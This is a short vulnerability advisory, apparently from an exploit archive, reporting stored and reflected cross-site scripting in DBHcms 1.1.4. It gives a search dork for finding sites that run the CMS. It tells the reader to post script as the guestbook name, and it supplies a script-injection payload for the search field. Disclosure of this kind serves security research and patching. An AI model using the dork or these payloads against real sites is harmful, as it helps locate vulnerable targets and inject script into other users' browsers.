25 lines
No EOL
1 KiB
Text
25 lines
No EOL
1 KiB
Text
############################################################################
|
|
#Title: DBHcms 1.1.4 Stored XSS #
|
|
#Vendor: http://www.drbenhur.com #
|
|
#Dork: "powered by DBHcms" #
|
|
############################################################################
|
|
#AUTHOR: ITSecTeam #
|
|
#Email: Bug@ITSecTeam.com #
|
|
#Website: http://www.itsecteam.com #
|
|
#Forum : http://forum.ITSecTeam.com #
|
|
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability50.htm
|
|
#Thanks: r3dm0v3 [r3dm0v3_at_ymail.com], Pejvak, am!rkh@n #
|
|
############################################################################
|
|
|
|
#DESCRIPTION (by vendor):###################################################
|
|
The DBHcms is a small free Open Source content management system for
|
|
personal and small business websites.`
|
|
|
|
#Stored XSS
|
|
POC:########################################################################
|
|
goto guestbook and post any script as name!
|
|
|
|
|
|
#Non-persistent XSS
|
|
POC:###################################################################
|
|
goto search and query this string: "><script>alert(1)</script> |